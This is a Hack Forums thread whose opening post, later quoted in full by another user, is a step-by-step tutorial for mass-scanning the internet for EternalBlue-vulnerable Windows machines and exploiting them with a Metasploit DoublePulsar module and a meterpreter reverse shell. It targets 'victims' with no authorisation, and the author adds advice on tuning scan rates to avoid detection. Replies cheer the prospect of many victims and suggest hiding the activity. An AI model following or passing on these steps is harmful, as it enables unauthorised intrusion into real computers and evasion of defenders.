+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) (/showthread.php?tid=5733169)
Pages: Pages
1
2
Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - Toxcique - Oct 8, 2017
This thread will cover
1) Masscaning using github.com / peterpt / eternal_scanner
2) Exploiting any possible vulnerable machines found by this scanner.
Please note, this is my first post on HF, so be nice, will ya?
0x00 - Assumptions
---------
1) This tutorial will assume that you have metasploit properly installed and configured on your machine.
2) This tutorial will assume that you have a basic understanding of UNIX-like/Linux environments.
3) That you are running this on a UNIX-like environment
4) Understanding of metasploit and how to portforward its services.
5) That you have a brain :keppo:
Of course, it's possible to set up this on a windows environment, but that takes time and some kind of effort. Who needs effort amirite?
---------
0x01 - Installing the exploit to metasploit.
cd /root/
# assumes you have git installed on your machine
sudo git clone github. com / ElevenPaths /Eternalblue-Doublepulsar-Metasploit.
git
cd Eternalblue-Doublepulsar-Metasploit
sudo cp eternalblue_doublepulsar.rb / usr/share/ metasploit-framework/
modules/exploits / windows/smb /
# and that is your exploit installed
-----------
0x02 - Exploiting people using metasploit and the installed exploit
msfconsole
use exploit /windows/ smb/ eternalblue_doublepulsar
# assuming you want reverse_tcp
set payload windows /meterpreter . /reverse_tcp
set LHOST <your ip>
set RHOST <victim ip>
exploit
# and that is your victim exploited.
----------
0x03 - Getting the victims
sudo apt-get install masscan # or install it using your machines package manager
git clone github. com /peterpt /eternal_scanner # assuming you have git installed
cd eternal_scanner
./escan
You'll get a dialog asking for an ip range. If you wish to scan the entire fuckin' internet, type in 0.0.0.0/0.
If you have a brain, on the other hand, use more reasonable ranges. If you don't know CIDR Subnet Mask Notation, google is a friend. PM or leave a post on this thread and I'll link a tutorial.
Vulnerable IP addresses will be displayed in the terminal window. If you want you can >> it all into a log file.
Oh and, this scanner is extremely powerful - it will literally eat up all available bandwidth. Use it on a VPS or enjoy living without internet.
---------
That is all. Hope you found this tutorial somewhat educational.
-- toxcique
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - The Masked Pear - Jan 29, 2018
This is one of the most powerfull tuto i've seen over here.
All noobs don't even understand what can do this kind of simple attack...
You can get many many vitcims with that.
Thank you very much, i give a try right now !
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - cryptsec - Mar 23, 2018
Great tut,thank you very much
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - Bear - Mar 23, 2018
If I were you, I would change that title, just to avoid attention from places.
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - xblwolf - Mar 23, 2018
Pretty good tutorial man, thanks for this!
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - Toxcique - Mar 24, 2018
(Mar 23, 2018 11:02 AM)Bear. Wrote: If I were you, I would change that title, just to avoid attention from places.
what do you mean?
Thank you for all positive replies!
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - adey66 - Mar 24, 2018
man honestly I wish you kept this to yourself. skids will be all over it
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - icyΩ - Mar 26, 2018
(Mar 23, 2018 11:02 AM)Bear. Wrote: If I were you, I would change that title, just to avoid attention from places.
I was going to say the same thing. 👹
(Mar 24, 2018 02:52 AM)Toxcique Wrote: what do you mean?
Thank you for all positive replies!
I see NSA I click. 👹
Nice tutorial, it seems informative. Although, I'm not the best when it comes to git and exploits.
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - R^ptor - May 14, 2018
This is golden thumbs up
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - Wᴏɴᴋᴀ - May 15, 2018
Very informative thanks for sharing
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - Toxcique - May 16, 2018
thank you for the great response. I forgot to mention that you can change the scanner speed, in the file "escan, line 26.
it should be: rt="500"
however, if your servers are fast, you could increase it. My servers can reach 90kpps without raising any red flags; use zmap to find your limits, then change the rate.
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - SIM-4100260 - Feb 23, 2019
(Oct 8, 2017 12:42 PM)Toxcique Wrote: This thread will cover
1) Masscaning using github.com / peterpt / eternal_scanner
2) Exploiting any possible vulnerable machines found by this scanner.
Please note, this is my first post on HF, so be nice, will ya?
0x00 - Assumptions
---------
1) This tutorial will assume that you have metasploit properly installed and configured on your machine.
2) This tutorial will assume that you have a basic understanding of UNIX-like/Linux environments.
3) That you are running this on a UNIX-like environment
4) Understanding of metasploit and how to portforward its services.
5) That you have a brain :keppo:
Of course, it's possible to set up this on a windows environment, but that takes time and some kind of effort. Who needs effort amirite?
---------
0x01 - Installing the exploit to metasploit.
cd /root/
# assumes you have git installed on your machine
sudo git clone github. com / ElevenPaths /Eternalblue-Doublepulsar-Metasploit.
git
cd Eternalblue-Doublepulsar-Metasploit
sudo cp eternalblue_doublepulsar.rb / usr/share/ metasploit-framework/
modules/exploits / windows/smb /
# and that is your exploit installed
-----------
0x02 - Exploiting people using metasploit and the installed exploit
msfconsole
use exploit /windows/ smb/ eternalblue_doublepulsar
# assuming you want reverse_tcp
set payload windows /meterpreter . /reverse_tcp
set LHOST <your ip>
set RHOST <victim ip>
exploit
# and that is your victim exploited.
----------
0x03 - Getting the victims
sudo apt-get install masscan # or install it using your machines package manager
git clone github. com /peterpt /eternal_scanner # assuming you have git installed
cd eternal_scanner
./escan
You'll get a dialog asking for an ip range. If you wish to scan the entire fuckin' internet, type in 0.0.0.0/0.
If you have a brain, on the other hand, use more reasonable ranges. If you don't know CIDR Subnet Mask Notation, google is a friend. PM or leave a post on this thread and I'll link a tutorial.
Vulnerable IP addresses will be displayed in the terminal window. If you want you can >> it all into a log file.
Oh and, this scanner is extremely powerful - it will literally eat up all available bandwidth. Use it on a VPS or enjoy living without internet.
---------
That is all. Hope you found this tutorial somewhat educational.
-- toxcique
Perfect for my local libary's fast internet connection 🤭
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - wtsxhack - Mar 31, 2019
Thankss Very helpful thread. : )
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - 802.1X - Mar 31, 2019
HQ content here. Keep it up :-)
RE: Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly) - tahaamjad03 - Apr 2, 2019
Thank you so much for sharing and contributing!!